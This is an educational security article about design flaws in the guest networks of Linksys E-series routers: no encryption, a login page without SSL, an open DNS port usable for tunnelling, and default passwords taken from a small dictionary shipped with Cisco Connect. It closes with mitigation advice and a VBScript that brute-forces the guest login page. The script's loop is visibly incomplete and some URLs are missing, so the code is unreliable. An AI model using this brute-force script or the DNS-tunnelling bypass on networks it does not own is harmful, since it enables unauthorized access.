Guest Networks: Protection Less Than WEP?

by Kevin Morris

Disclaimer:  This article is intended to be educational and highlights design flaws in the guest network feature of some Linksys wireless home gateways and routers.  Discussion is meant to inform the reader on the nature of the security risks as well as how they can be partially mitigated through configuration.  While potential methods to exploit poorly configured guest networks are presented, should you decide to experiment with them, be sure it is legal to do so for the particular system you target.

Ever since upgrading one of the old black and blue Linksys WRT54Gs to DD-WRT years ago, I've been hooked on seeing what other things I could do with these single-board devices.  I can usually find a router for less than three dollars at local garage sales, without looking too hard.  Recently, I was able to score a Linksys E3200 for my normal three dollar limit, which was newer than anything else I had.

Of course, the first thing I did when I got home was perform the famous 30/30/30 reset, update to the latest Linksys firmware, and start configuring the new device through the web interface.  For some reason, this particular device was having a little difficulty maintaining its settings (maybe why it had been sold), so I downloaded the Cisco Connect software that was intended for the masses to use when configuring their home routers.  I started cruising through the setup, but happened to notice that the software was providing interesting random-word default values for the SSID and the password for the guest network feature (like EcstaticMagnolia and grape07).

Newer Linksys routers (namely the E, X, and EA series) provide a "guest network" feature that allows you to give Internet access to visitors without allowing them onto your regular home network.  Linksys routers provide this feature by broadcasting two SSIDs, using VLANs, and using separate IP ranges to isolate each network's traffic.  The guest network SSID is the same as the main SSID except that "-guest" is appended to the end, which makes them easy to identify when scanning for networks.  The IP range on the guest network is reserved and is either or, depending on the particular router.  Because this subnet is used by the guest network, the main LAN cannot be configured to use this reserved range.  The router does not have any routes configured, by default, to allow routing of traffic between the two networks.

So, in theory, the guest network is well isolated from the main network.  But how secure is this guest network?  It turns out by using the defaults suggested by the Cisco Connect software, there is very little security.  The guest network functions similar to hotspot networks available in many hotels or coffee shops where all traffic from a client machine is "jailed" until the user logs in through a "terms of use" or password page.  The guest network has no encryption and encryption cannot be enabled for the guest network on these Linksys routers.  Access to the Internet is only "protected" by a password entered into a web interface.

Doing some basic testing, I did notice that, sadly, the web interface is not SSL protected; hence, the guest password is highly vulnerable to being sniffed.  Additionally, my router always allowed UDP port 53 (normally DNS) traffic, even for "unauthenticated" clients on the guest network.  The router did not validate that traffic sent on this port was DNS traffic, so any packets sent on this port were forwarded.  Software like Iodine or OpenVPN over port 53 can provide easy ways to get complete Internet access using only this one forwarded port.

The story does not end there.  Running the Cisco Connect software multiple times, I got similar suggestions for SSID and passwords.  The default values had a definite pattern, meaning there had to be a dictionary of possible values.  Also, the software was designed to let the user breeze through the setup, without really having to change too many values.  The chances are probably high that an unwitting user might just accept the defaults.  So the question was out there.  Is it really as easy as using a customized dictionary attack to brute force my way onto the guest network?

Well, the first thing I needed to determine was if there was a lockout or timer that would make guest network dictionary attacks infeasible.  After capturing a few of my own attempts and then writing a quick script to repeatedly submit passwords to the web interface, I determined that there wasn't really any limitation on submitting requests beyond the router's ability to process the requests.  The router is a little slow at times when processing these requests, so trying to just brute force the entire 4 to 32 character password range could take more time than practical, but, with a narrower key space, a practical brute force attack was possible.

I needed to find the dictionary that was being used.  My first instinct was that the dictionary would be part of the router and would be available for the web administration interface as well.  After using the tools in the Firmware Modification Kit to decompress and split the router's firmware into the kernel and the file system, I started looking through the files for anything remotely worthwhile.  Fortunately, there wasn't too much there and I quickly came to the conclusion that the router did not have the password list.  So, the next place to look was the Cisco Connect software.

When the Cisco Connect software starts (an online demo of the user interface can be found at, it takes a few minutes to load.  The reason for this is that in the background, the application is decompressing all of its support files to a temporary directory (%TEMP% for Windows users).  After perusing through to the Cisco Systems\Cisco Connect\\Contents\Resources\lcid folder, I found quite a few folders for multi-language support.  Since I happen to live in the U.S., I choose the 1033 folder and, lo-and-behold, four filenames caught my eye:


The file names are pretty self-explanatory and some language support folders have slightly different dictionaries (I'm guessing it is the same words translated to each language).  Regardless, it would be simple to combine all of these to make one multi-language master dictionary.  In the U.S. version of guest.password.first.words.dict was a list of thirty names for various nuts, fruits, and vegetables.  The second word file simply contained two-digit numbers from 00 to 99.  In total, there are only 3000 unique default passwords for versions of the router in the U.S.  In a cursory inspection of other versions of Cisco Connect that comes with other router models, the password lists appear to be the same.  Using these dictionaries along with a simple script I wrote in VBScript, I found I could brute force a Cisco Connect generated password in less than 15 minutes.  A sample script is provided at the end of this article.

What is the moral of the story?  Yes, there are protections more useless than WEP.  On a more serious note, unless you want to provide free Internet access to your neighbors or anybody else willing to do a little work, I would suggest only enabling the guest network feature when you need it and promptly disabling it afterwards.  Also, be sure to generate your own strong password close to the 32 character maximum to help ensure brute forcing is not practical.  Just remember that this may be pointless as your password can still be sniffed.  I didn't do any major analysis to see if an attacker could get to your LAN from the guest network, but it's not beyond the realm of possibility.  Caveat emptor.


Web-based Guest Network Setup -

Cisco Connect Guest Network Setup -

Linksys Guest Network FAQs -

Linksys User Interface Demos -


Firmware Modification Kit -

Firmware Modification Kit Example Usage -

Iodine -

OpenVPN -

'========== guestpass.vbs ========== 
' Author: Kevin Morris October 2012
' Usage: (connect to guest netwowrk first) 
' C:\> cscript guestpass.vbs 
' (You may need to remove the UTF-8 byte order mark from the 
' password file, if the first word is garbled) 

Option Explicit

Const PostStr = "submit_button=login&change_action=&action=Apply&wait_time=19&submit_type=&" Const passwordFilename1 = "guest.password.first.words.dict"

Sub Main() 
  Dim objFSO: Set objFSO = CreateObject("Scripting.FileSystem Object") 
  Dim objHTTP: Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1") 
  objHTTP.Option(6) = False 'Option 6 - Don't Follow HTTP Redirects

  Dim objFile, password1
  Dim i: i=0

  If objFSO.FileExists(passwordFilename1) Then 
    Set objFile = objFSO.OpenTextFile(passwordFilename1, 1) 
    Do While Not objFile.AtEndOfStream 
      password1 = Trim(objFile.ReadLine) 
      If password1 <> "" Then 
        For i = 0 to 99 
	  Call objHTTP.Open("POST", "", False) 
	  Call objHTTP.setRequestHeader("Cache-Control", "no-cache, no-store") 
	  objHTTP.Send PostStr & password1 & Right("0" & CStr(i), 2)

          If objHTTP.status <> 302 Then 
	    WScript.Echo("Tried: " & password1 & Right("0" & CStr(i), 2)) 
	    WScript.Echo("Password Found: " & password1 & Right("0" & CStr(i), 2)) 
	  Exit Do 
          End If 
     End If 
     Set objFile = Nothing 

  End If

  Set objFSO = Nothing 
  Set objHTTP = Nothing 
End Sub

Sub EnsureCScript() 
  Dim objShell: Set objShell = CreateObject("Wscript.Shell") 
  If LCase(Right(Wscript.FullName, 11)) <> "cscript.exe" Then
    objShell.Run WScript.Path & "\cscript.exe //NOLOGO //B " & Chr(34) & WScript.scriptFullName & Chr(34),1,False 
    WScript.Quit 0 
  End If 
End Sub

Call EnsureCScript() 
Call Main()

Code: guestpass.vbs